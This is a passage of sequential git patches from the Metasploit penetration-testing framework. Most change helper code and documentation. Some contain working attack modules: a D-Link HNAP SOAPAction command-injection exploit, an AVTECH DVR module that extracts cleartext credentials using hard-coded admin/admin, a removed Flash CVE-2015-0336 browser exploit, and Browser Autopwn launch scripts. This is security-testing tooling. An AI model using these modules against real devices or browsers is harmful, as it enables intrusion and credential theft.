'SOAPAction' => soap_action, + } }) + if res && [200].include?(res.code) && res.body =~ /D-Link/ return Exploit::CheckCode::Detected end @@ -92,26 +91,25 @@ class Metasploit3 < Msf::Exploit::Remote execute_cmdstager( :flavor => :echo, :linemax => 200, - :temp => false + :temp => '' ) - end def execute_command(cmd, opts) uri = '/HNAP1/' - cmd_new = "cd && cd tmp && export PATH=$PATH:. && " << cmd - soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`" + cmd_new = 'cd && cd tmp && export PATH=$PATH:. && ' << cmd + soap_action = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`" begin res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', 'headers' => { - 'SOAPAction' => soapaction, - }, - },1) + 'SOAPAction' => soap_action, + } + }, 3) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server") end From b33ace2f44146bce62f60cce62f9928cae479e28 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 15:07:59 -0500 Subject: [PATCH 0247/1013] Put is_payload_compatible? in exploit.rb --- lib/msf/core/exploit.rb | 33 +++++++++++++++++++++++++++++++++ lib/msf/ui/console/driver.rb | 11 +---------- 2 files changed, 34 insertions(+), 10 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 028c792fe8..6740bf339d 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -698,6 +698,39 @@ class Exploit < Msf::Module (target and target.arch) ? target.arch : (arch == []) ? nil : arch end + def is_payload_compatible?(payload_name) + c_platform = (target and target.platform) ? target.platform : platform + c_arch = (target and target.arch) ? target.arch : (arch == []) ? nil : arch + c_arch ||= [ ARCH_X86 ] + + framework.payloads.each_module( + 'Platform' => c_platform, + 'Arch' => c_arch ) { |name, mod| + + # Skip over payloads that are too big + if ((payload_space) and + (framework.payloads.sizes[name]) and + (framework.payloads.sizes[name] > payload_space)) + dlog("#{refname}: Skipping payload #{name} for being too large", 'core', + LEV_1) + next + end + + # Are we compatible in terms of conventions and connections and + # what not? + next if (compatible?(framework.payloads.instance(name)) == false) + + # If the payload is privileged but the exploit does not give + # privileged access, then fail it. + next if (self.privileged == false and framework.payloads.instance(name).privileged == true) + + # This one be compatible! + return true if payload_name == name + } + + false + end + # # Returns a list of compatible payloads based on platform, architecture, # and size requirements. diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index de7dd7f2e7..8d1729f7f7 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -571,7 +571,7 @@ class Driver < Msf::Ui::Driver if (framework and framework.payloads.valid?(val) == false) return false - elsif active_module.type == 'exploit' && !is_payload_compatible?(active_module, val) + elsif active_module.type == 'exploit' && !active_module.is_payload_compatible?(val) return false elsif (active_module) active_module.datastore.clear_non_user_defined @@ -591,15 +591,6 @@ class Driver < Msf::Ui::Driver end end - - def is_payload_compatible?(m, payload_name) - m.compatible_payloads.each do |k| - return true if k[0] == payload_name - end - - false - end - # # Called when a variable is unset. If this routine returns false it is an # indication that the variable should not be allowed to be unset. From defda01d87f6064413c802a69f12438ad285b9c6 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 15:09:29 -0500 Subject: [PATCH 0248/1013] Some doc --- lib/msf/core/exploit.rb | 8 ++++++++ 1 file changed, 8 insertions(+) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 6740bf339d..8d4f02fdc3 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -698,6 +698,14 @@ class Exploit < Msf::Module (target and target.arch) ? target.arch : (arch == []) ? nil : arch end + + # + # Returns whether the requested payload is compatible with the module. + # + # @param [String] payload_name The payload name + # @return [TrueClass] Payload is compatible. + # @return [FalseClass] Payload is not compatible. + # def is_payload_compatible?(payload_name) c_platform = (target and target.platform) ? target.platform : platform c_arch = (target and target.arch) ? target.arch : (arch == []) ? nil : arch From d39d4ff6decf175319d02324ce62676a21d2e789 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 29 May 2015 15:15:49 -0500 Subject: [PATCH 0249/1013] bump to metasploit-payloads 1.0.1 --- Gemfile.lock | 4 ++-- metasploit-framework.gemspec | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/Gemfile.lock b/Gemfile.lock index b0fb3003b0..6cc9dd5063 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -9,7 +9,7 @@ PATH json metasploit-concern (~> 1.0) metasploit-model (~> 1.0) - metasploit-payloads (= 1.0.0) + metasploit-payloads (= 1.0.1) msgpack nokogiri packetfu (= 1.1.9) @@ -123,7 +123,7 @@ GEM activemodel (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) railties (>= 4.0.9, < 4.1.0) - metasploit-payloads (1.0.0) + metasploit-payloads (1.0.1) metasploit_data_models (1.1.0) activerecord (>= 4.0.9, < 4.1.0) activesupport (>= 4.0.9, < 4.1.0) diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec index 4b46084af7..ba444f688a 100644 --- a/metasploit-framework.gemspec +++ b/metasploit-framework.gemspec @@ -64,7 +64,7 @@ Gem::Specification.new do |spec| # are needed when there's no database spec.add_runtime_dependency 'metasploit-model', '~> 1.0' # Needed for Meterpreter on Windows, soon others. - spec.add_runtime_dependency 'metasploit-payloads', '1.0.0' + spec.add_runtime_dependency 'metasploit-payloads', '1.0.1' # Needed by msfgui and other rpc components spec.add_runtime_dependency 'msgpack' # Needed by anemone crawler From 8338b21f6c9ec76bdbc656fec693e6e9d284f9d3 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 29 May 2015 16:04:29 -0500 Subject: [PATCH 0250/1013] Make some code cleanup --- .../gather/avtech744_dvr_account_retrieval.rb | 202 +++++++++--------- 1 file changed, 100 insertions(+), 102 deletions(-) diff --git a/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb b/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb index f80f61047b..5d299be95b 100644 --- a/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb +++ b/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb @@ -1,110 +1,108 @@ require 'msf/core' - class Metasploit3 < Msf::Auxiliary +class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report - def initialize(info = {}) - super(update_info(info, - 'Name' => 'AVTECH 744 DVR Account Information Retrieval', - 'Description' => %q{ - This module will extract the account information from the DVR, - including all user's usernames and cleartext passwords plus - the device PIN, along with a few other miscellaneous details. - }, - 'Author' => [ 'nstarke' ], - 'License' => MSF_LICENSE - )) - - register_options( - [ - Opt::RPORT(80), - ], self.class) - end + def initialize(info = {}) + super(update_info(info, + 'Name' => 'AVTECH 744 DVR Account Information Retrieval', + 'Description' => %q{ + This module will extract the account information from the DVR, + including all user's usernames and cleartext passwords plus + the device PIN, along with a few other miscellaneous details. + }, + 'Author' => [ 'nstarke' ], + 'License' => MSF_LICENSE + )) + end - def run - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => '/cgi-bin/user/Config.cgi', - 'cookie' => 'SSID=YWRtaW46YWRtaW4=;', - 'vars_post' => { - 'action' => 'get', - 'category' => 'Account.*' - } - }) + def run + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => '/cgi-bin/user/Config.cgi', + 'cookie' => 'SSID=YWRtaW46YWRtaW4=;', + 'vars_post' => { + 'action' => 'get', + 'category' => 'Account.*' + } + }) - unless res - fail_with(Failure::Unreachable, "No response received from the target") - end - - unless res.code == 200 - fail_with(Failure::Unknown, "An unknown error occured") - end - - raw_collection = extract_data(res.body) - extract_creds(raw_collection) - - p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body) - print_good("avtech744.dvr.accounts stored in #{p}") - end - - def extract_data(body) - raw_collection = [] - body.each_line do |line| - key, value = line.split('=') - if key && value - _, second, third = key.split('.') - if third - index = second.slice(second.length - 1).to_i - raw_collection[index] = raw_collection[index] ||= {} - case third - when "Username" - raw_collection[index][:username] = value.strip! - when "Password" - raw_collection[index][:password] = value.strip! - end - elsif second.include? "Password" - print_good("PIN Retrieved: #{key} - #{value.strip!}") - end - end - end - raw_collection - end - - def extract_creds(raw_collection) - raw_collection.each do |raw| - if raw - service_data = { - address: rhost, - port: rport, - service_name: 'http', - protocol: 'tcp', - workspace_id: myworkspace_id - } - - credential_data = { - module_fullname: self.fullname, - origin_type: :service, - private_data: raw[:password], - private_type: :password, - username: raw[:username] - } - - credential_data.merge!(service_data) - - credential_core = create_credential(credential_data) - - login_data = { - core: credential_core, - status: Metasploit::Model::Login::Status::UNTRIED - } - - login_data.merge!(service_data) - - create_credential_login(login_data) - end - end - end + unless res + fail_with(Failure::Unreachable, 'No response received from the target') end + + unless res.code == 200 + fail_with(Failure::Unknown, 'An unknown error occured') + end + + raw_collection = extract_data(res.body) + extract_creds(raw_collection) + + p = store_loot('avtech744.dvr.accounts', 'text/plain', rhost, res.body) + print_good("avtech744.dvr.accounts stored in #{p}") + end + + def extract_data(body) + raw_collection = [] + body.each_line do |line| + key, value = line.split('=') + if key && value + _, second, third = key.split('.') + if third + index = second.slice(second.length - 1).to_i + raw_collection[index] = raw_collection[index] ||= {} + case third + when 'Username' + raw_collection[index][:username] = value.strip! + when 'Password' + raw_collection[index][:password] = value.strip! + end + elsif second.include?('Password') + print_good("PIN Retrieved: #{key} - #{value.strip!}") + end + end + end + + raw_collection + end + + def extract_creds(raw_collection) + raw_collection.each do |raw| + unless raw + next + end + + service_data = { + address: rhost, + port: rport, + service_name: 'http', + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + module_fullname: self.fullname, + origin_type: :service, + private_data: raw[:password], + private_type: :password, + username: raw[:username] + } + + credential_data.merge!(service_data) + + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + + login_data.merge!(service_data) + + create_credential_login(login_data) + end + end +end From 73f7885eeae4819d4579b07531d727f0cc00efff Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer Date: Fri, 29 May 2015 23:08:55 +0200 Subject: [PATCH 0251/1013] add comment --- modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb b/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb index 9ac06e2df9..5b57976022 100644 --- a/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb +++ b/modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb @@ -99,6 +99,7 @@ class Metasploit3 < Msf::Exploit::Remote uri = '/HNAP1/' + # we can not use / in our command so we need to use a little trick cmd_new = 'cd && cd tmp && export PATH=$PATH:. && ' << cmd soap_action = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`" From 39ae6263e95e813fda9819ed421752877c3f16cf Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 29 May 2015 16:12:21 -0500 Subject: [PATCH 0252/1013] Use Rex::Text.encode_base64 --- .../auxiliary/gather/avtech744_dvr_account_retrieval.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb b/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb index 5d299be95b..d387490be0 100644 --- a/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb +++ b/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb @@ -9,9 +9,9 @@ class Metasploit3 < Msf::Auxiliary super(update_info(info, 'Name' => 'AVTECH 744 DVR Account Information Retrieval', 'Description' => %q{ - This module will extract the account information from the DVR, - including all user's usernames and cleartext passwords plus - the device PIN, along with a few other miscellaneous details. + This module will extract the accounts information from the AVTECH 744 DVR devices, + including all the usernames and cleartext passwords plus the device PIN, along with + a few other miscellaneous details. }, 'Author' => [ 'nstarke' ], 'License' => MSF_LICENSE @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Auxiliary res = send_request_cgi({ 'method' => 'POST', 'uri' => '/cgi-bin/user/Config.cgi', - 'cookie' => 'SSID=YWRtaW46YWRtaW4=;', + 'cookie' => "SSID=#{Rex::Text.encode_base64('admin:admin')};", 'vars_post' => { 'action' => 'get', 'category' => 'Account.*' From acb0af3826f64baa5769fb63a91b0d03e7c9c75f Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 29 May 2015 16:13:43 -0500 Subject: [PATCH 0253/1013] Update description --- modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb b/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb index d387490be0..ea39608764 100644 --- a/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb +++ b/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb @@ -11,7 +11,9 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module will extract the accounts information from the AVTECH 744 DVR devices, including all the usernames and cleartext passwords plus the device PIN, along with - a few other miscellaneous details. + a few other miscellaneous details. In order to extract the information, hardcoded + credentials admin/admin are used. These credentials can't be changed from the device + console UI neither the web UI. }, 'Author' => [ 'nstarke' ], 'License' => MSF_LICENSE From 843572df6d1159105af7dcbd9d78bfd35a0d2bab Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 29 May 2015 16:14:16 -0500 Subject: [PATCH 0254/1013] Change module filename --- ...tech744_dvr_account_retrieval.rb => avtech744_dvr_accounts.rb} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename modules/auxiliary/gather/{avtech744_dvr_account_retrieval.rb => avtech744_dvr_accounts.rb} (100%) diff --git a/modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb b/modules/auxiliary/gather/avtech744_dvr_accounts.rb similarity index 100% rename from modules/auxiliary/gather/avtech744_dvr_account_retrieval.rb rename to modules/auxiliary/gather/avtech744_dvr_accounts.rb From 6d488c63d4318be161f169aa5e74d8cadfcb20a3 Mon Sep 17 00:00:00 2001 From: Brent Cook Date: Fri, 29 May 2015 16:33:03 -0500 Subject: [PATCH 0255/1013] php UUIDOptions->UUID::Options --- lib/msf/core/payload/php/reverse_tcp.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/msf/core/payload/php/reverse_tcp.rb b/lib/msf/core/payload/php/reverse_tcp.rb index e3db9eff11..5b509612ad 100644 --- a/lib/msf/core/payload/php/reverse_tcp.rb +++ b/lib/msf/core/payload/php/reverse_tcp.rb @@ -3,7 +3,7 @@ require 'msf/core' require 'msf/core/payload/php/send_uuid' -require 'msf/core/payload/uuid_options' +require 'msf/core/payload/uuid/options' module Msf @@ -16,7 +16,7 @@ module Msf module Payload::Php::ReverseTcp include Msf::Payload::Php::SendUUID - include Msf::Payload::UUIDOptions + include Msf::Payload::UUID::Options # # Generate the first stage @@ -76,7 +76,7 @@ if (!$s) { die('no socket'); } php << php_send_uuid if include_send_uuid - php << %Q^switch ($s_type) { + php << %Q^switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } @@ -90,7 +90,7 @@ $len = $a['len']; $b = ''; while (strlen($b) < $len) { - switch ($s_type) { + switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } From af326a4f88ad07164f113b5d3635e2f540476293 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 29 May 2015 16:55:19 -0500 Subject: [PATCH 0256/1013] Use compatible_payloads instead of copy and paste --- lib/msf/core/exploit.rb | 31 ++----------------------------- 1 file changed, 2 insertions(+), 29 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index 8d4f02fdc3..2e16e5a978 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -707,36 +707,9 @@ class Exploit < Msf::Module # @return [FalseClass] Payload is not compatible. # def is_payload_compatible?(payload_name) - c_platform = (target and target.platform) ? target.platform : platform - c_arch = (target and target.arch) ? target.arch : (arch == []) ? nil : arch - c_arch ||= [ ARCH_X86 ] + payload_names = compatible_payloads.collect { |entry| entry[0] } - framework.payloads.each_module( - 'Platform' => c_platform, - 'Arch' => c_arch ) { |name, mod| - - # Skip over payloads that are too big - if ((payload_space) and - (framework.payloads.sizes[name]) and - (framework.payloads.sizes[name] > payload_space)) - dlog("#{refname}: Skipping payload #{name} for being too large", 'core', - LEV_1) - next - end - - # Are we compatible in terms of conventions and connections and - # what not? - next if (compatible?(framework.payloads.instance(name)) == false) - - # If the payload is privileged but the exploit does not give - # privileged access, then fail it. - next if (self.privileged == false and framework.payloads.instance(name).privileged == true) - - # This one be compatible! - return true if payload_name == name - } - - false + payload_names.include?(payload_name) end # From 0384b115e96ddea36bea320ebb5e0994ea160bbb Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 17:41:02 -0500 Subject: [PATCH 0257/1013] Fix reload bug --- lib/msf/core/exploit/browserautopwnv2.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index c020e6161d..ea7956435b 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -47,11 +47,12 @@ module Msf # # @return [void] def init_exploits + $stderr.puts "In init_exploits" # First we're going to avoid using #find_all because that gets very slow. framework.exploits.each_pair do |fullname, place_holder| # If the place holder isn't __SYMBOLIC__, then that means the module is initialized, # and that's gotta be the active browser autopwn. - next if !fullname.include?('browser') || place_holder != '__SYMBOLIC__' + next if !fullname.include?('browser') || self.fullname == "exploit/#{fullname}" # The user gets to specify which modules to include/exclude next if datastore['Include'] && fullname !~ datastore['Include'] From 58c57673302ce3bdc5cc2444945c55b9f6bb540d Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 17:41:29 -0500 Subject: [PATCH 0258/1013] Don't need stderr.puts --- lib/msf/core/exploit/browserautopwnv2.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index ea7956435b..59eff4ecd9 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -47,7 +47,6 @@ module Msf # # @return [void] def init_exploits - $stderr.puts "In init_exploits" # First we're going to avoid using #find_all because that gets very slow. framework.exploits.each_pair do |fullname, place_holder| # If the place holder isn't __SYMBOLIC__, then that means the module is initialized, From e83677d29da763e57976293f9074589bdee210df Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 17:43:26 -0500 Subject: [PATCH 0259/1013] rm deprecated mod --- .../adobe_flash_net_connection_confusion.rb | 121 ------------------ 1 file changed, 121 deletions(-) delete mode 100644 modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb diff --git a/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb b/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb deleted file mode 100644 index 3bcb6a7130..0000000000 --- a/modules/exploits/windows/browser/adobe_flash_net_connection_confusion.rb +++ /dev/null @@ -1,121 +0,0 @@ -## -# This module requires Metasploit: http://metasploit.com/download -# Current source: https://github.com/rapid7/metasploit-framework -## - -require 'msf/core' - -class Metasploit3 < Msf::Exploit::Remote - Rank = NormalRanking - - include Msf::Exploit::Powershell - include Msf::Exploit::Remote::BrowserExploitServer - include Msf::Module::Deprecated - - deprecated(Date.new(2015, 7, 27), 'exploit/multi/browser/adobe_flash_net_connection_confusion') - - def initialize(info={}) - super(update_info(info, - 'Name' => 'Adobe Flash Player NetConnection Type Confusion', - 'Description' => %q{ - This module exploits a type confusion vulnerability in the NetConnection class on - Adobe Flash Player. When using a correct memory layout this vulnerability allows - to corrupt arbitrary memory. It can be used to overwrite dangerous objects, like - vectors, and finally accomplish remote code execution. This module has been tested - successfully on Windows 7 SP1 (32-bit), IE 8 and IE11 with Flash 16.0.0.305. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Natalie Silvanovich', # Vulnerability discovery and Google Project Zero Exploit - 'Unknown', # Exploit in the wild - 'juan vazquez' # msf module - ], - 'References' => - [ - ['CVE', '2015-0336'], - ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-05.html'], - ['URL', 'http://googleprojectzero.blogspot.com/2015/04/a-tale-of-two-exploits.html'], - ['URL', 'http://malware.dontneedcoffee.com/2015/03/cve-2015-0336-flash-up-to-1600305-and.html'], - ['URL', 'https://www.fireeye.com/blog/threat-research/2015/03/cve-2015-0336_nuclea.html'], - ['URL', 'https://blog.malwarebytes.org/exploits-2/2015/03/nuclear-ek-leverages-recently-patched-flash-vulnerability/'] - ], - 'Payload' => - { - 'DisableNops' => true - }, - 'Platform' => 'win', - 'BrowserRequirements' => - { - :source => /script|headers/i, - :os_name => OperatingSystems::Match::WINDOWS_7, - :ua_name => Msf::HttpClients::IE, - :flash => lambda { |ver| ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.305') }, - :arch => ARCH_X86 - }, - 'Targets' => - [ - [ 'Automatic', {} ] - ], - 'Privileged' => false, - 'DisclosureDate' => 'Mar 12 2015', - 'DefaultTarget' => 0)) - end - - def exploit - @swf = create_swf - @trigger = create_trigger - super - end - - def on_request_exploit(cli, request, target_info) - print_status("Request: #{request.uri}") - - if request.uri =~ /\.swf$/ - print_status('Sending SWF...') - send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'}) - return - end - - print_status('Sending HTML...') - send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) - end - - def exploit_template(cli, target_info) - swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" - target_payload = get_payload(cli, target_info) - psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) - b64_payload = Rex::Text.encode_base64(psh_payload) - - trigger_hex_stream = @trigger.unpack('H*')[0] - - html_template = %Q| - - - - - - - - - - - | - - return html_template, binding() - end - - def create_swf - path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'msf.swf') - swf = ::File.open(path, 'rb') { |f| swf = f.read } - - swf - end - - def create_trigger - path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0336', 'trigger.swf') - swf = ::File.open(path, 'rb') { |f| swf = f.read } - - swf - end -end From 28d35a5bf47886a258c0ddc6d7e72407dff8916e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 18:03:56 -0500 Subject: [PATCH 0260/1013] Update doc --- lib/msf/core/exploit/browserautopwnv2.rb | 24 +++++++++++++++++++++--- 1 file changed, 21 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index 59eff4ecd9..df0fc0c2a8 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -299,7 +299,7 @@ module Msf # Returns the selected payload's LPORT. # - # @param [String] platform + # @param [Symbol] platform # @return [Fixnum] def get_selected_payload_lport(platform) datastore["PAYLOAD_#{platform.to_s.upcase}_LPORT"] @@ -373,6 +373,13 @@ module Msf end + # Checks whether the payload is compatible with the module based on platform information. + # Best for single-platform modules and for performance. + # + # @param [Object] m Module. + # @param [Symbol] payload_platform Payload platform. + # @return [TrueClass] Payload is compatible. + # @return [FalseClass] Payload is not compatible. def is_payload_platform_compatible?(m, payload_platform) begin platform_obj = Msf::Module::Platform.find_platform(payload_platform.to_s) @@ -386,6 +393,13 @@ module Msf end + # Checks whether the payload is compatible with the module based on the module's compatibility list. + # Best for multi-platform modules. This is much slower than #is_payload_platform_compatible? + # + # @param [Object] m Module. + # @param [String] payload_name + # @return [TrueClass] Payload is compatible. + # @return [FalseClass] Payload is not compatible. def is_payload_compatible?(m, payload_name) m.compatible_payloads.each do |k| return true if k[0] == payload_name @@ -395,13 +409,17 @@ module Msf end + # Checks if the module is multi-platform based on the directory path. + # + # @param [Object] m Module. + # @return [TrueClass] Module is multi-platform. + # @return [FalseClass] Module is not multi-platform. def is_multi_platform_exploit?(m) m.fullname.include?('multi/') end - # Returns the selected payload. This method will choose a compatible payload based on the - # default list. + # Returns an appropriate payload that's compatible with the module. # # @param [Object] m A module that's been initialized. # @return [String] Payload name. Example: 'windows/meterpreter/reverse_tcp' From 5c890004b80462bc5d6340539a51afbd61f4fe85 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 29 May 2015 18:32:57 -0500 Subject: [PATCH 0261/1013] Do stop_service in cleanup --- lib/msf/core/exploit/browserautopwnv2.rb | 1 + lib/msf/core/exploit/tcp_server.rb | 4 +--- 2 files changed, 2 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/browserautopwnv2.rb b/lib/msf/core/exploit/browserautopwnv2.rb index df0fc0c2a8..280e2359f3 100644 --- a/lib/msf/core/exploit/browserautopwnv2.rb +++ b/lib/msf/core/exploit/browserautopwnv2.rb @@ -141,6 +141,7 @@ module Msf rm_target_info_notes rm_exploit_jobs rm_payload_jobs + stop_service if service end diff --git a/lib/msf/core/exploit/tcp_server.rb b/lib/msf/core/exploit/tcp_server.rb index 3744de0782..14af809cc9 100644 --- a/lib/msf/core/exploit/tcp_server.rb +++ b/lib/msf/core/exploit/tcp_server.rb @@ -71,9 +71,7 @@ module Exploit::Remote::TcpServer super if(service) stop_service() - unless datastore['MODULEOWNER'] == Msf::Exploit::Remote::BrowserAutopwnv2 - print_status("Server stopped.") - end + print_status("Server stopped.") end end From 6bb368d7342e01155ec7bf432e426cac3ce7e3a9 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 30 May 2015 16:15:29 -0500 Subject: [PATCH 0262/1013] Add resource scripts Easier for everybody to use --- scripts/resource/bap_dryrun_only.rc | 10 ++++++++++ scripts/resource/bap_firefox_only.rc | 8 ++++++++ scripts/resource/bap_flash_only.rc | 8 ++++++++ scripts/resource/bap_ie_only.rc | 8 ++++++++ 4 files changed, 34 insertions(+) create mode 100644 scripts/resource/bap_dryrun_only.rc create mode 100644 scripts/resource/bap_firefox_only.rc create mode 100644 scripts/resource/bap_flash_only.rc create mode 100644 scripts/resource/bap_ie_only.rc diff --git a/scripts/resource/bap_dryrun_only.rc b/scripts/resource/bap_dryrun_only.rc new file mode 100644 index 0000000000..dc5e02ddc7 --- /dev/null +++ b/scripts/resource/bap_dryrun_only.rc @@ -0,0 +1,10 @@ + +print_status("Starting BAP...") +print_status("Exploits will not be actually served, but you will know which ones each client might be vulnerable to.") +print_status("You can do 'notes -t baps.clicks' in msfconsole to see track clicks and client-specific exploit info.") +run_single("use exploit/multi/browser/autopwn") +run_single("set RealList true") +run_single("set MaxSessions 0") +run_single("set Content \"Hello, this is a security test. You shouldn't have clicked on that link :-)\"") +run_single("run") + \ No newline at end of file diff --git a/scripts/resource/bap_firefox_only.rc b/scripts/resource/bap_firefox_only.rc new file mode 100644 index 0000000000..e33f7813b5 --- /dev/null +++ b/scripts/resource/bap_firefox_only.rc @@ -0,0 +1,8 @@ + +print_status("Starting Browser Autopwn with Firefox-only BrowserExploitServer-based exploits.") +print_status("Older Firefox exploits don't use BES, therefore will not be loaded.") +run_single("use exploit/multi/browser/autopwn") +run_single("set Include (mozilla_firefox|firefox)_") +run_single("set RealList true") +run_single("run") + \ No newline at end of file diff --git a/scripts/resource/bap_flash_only.rc b/scripts/resource/bap_flash_only.rc new file mode 100644 index 0000000000..4a764ee960 --- /dev/null +++ b/scripts/resource/bap_flash_only.rc @@ -0,0 +1,8 @@ + +print_status("Starting Browser Autopwn with Adobe Flash-only BrowserExploitServer-based exploits.") +print_status("Older Adobe Flash exploits don't use BES, therefore will not be loaded.") +run_single("use exploit/multi/browser/autopwn") +run_single("set Include adobe_flash") +run_single("set RealList true") +run_single("run") + \ No newline at end of file diff --git a/scripts/resource/bap_ie_only.rc b/scripts/resource/bap_ie_only.rc new file mode 100644 index 0000000000..935afa0560 --- /dev/null +++ b/scripts/resource/bap_ie_only.rc @@ -0,0 +1,8 @@ + +print_status("Starting Browser Autopwn with IE-only BrowserExploitServer-based exploits.") +print_status("Older IE exploits don't use BES, therefore will not be loaded.") +run_single("use exploit/multi/browser/autopwn") +run_single("set Include (ms\\\\d\\\\d_\\\\d+|ie)_") +run_single("set RealList true") +run_single("run") + \ No newline at end of file From ab443cbae3b9cfb7c7f21e540d7d9917ecfa24f9 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 30 May 2015 19:29:14 -0500 Subject: [PATCH 0263/1013] Small description update --- scripts/resource/bap_dryrun_only.rc | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/scripts/resource/bap_dryrun_only.rc b/scripts/resource/bap_dryrun_only.rc index dc5e02ddc7..2eb5619401 100644 --- a/scripts/resource/bap_dryrun_only.rc +++ b/scripts/resource/bap_dryrun_only.rc @@ -1,7 +1,7 @@ print_status("Starting BAP...") -print_status("Exploits will not be actually served, but you will know which ones each client might be vulnerable to.") -print_status("You can do 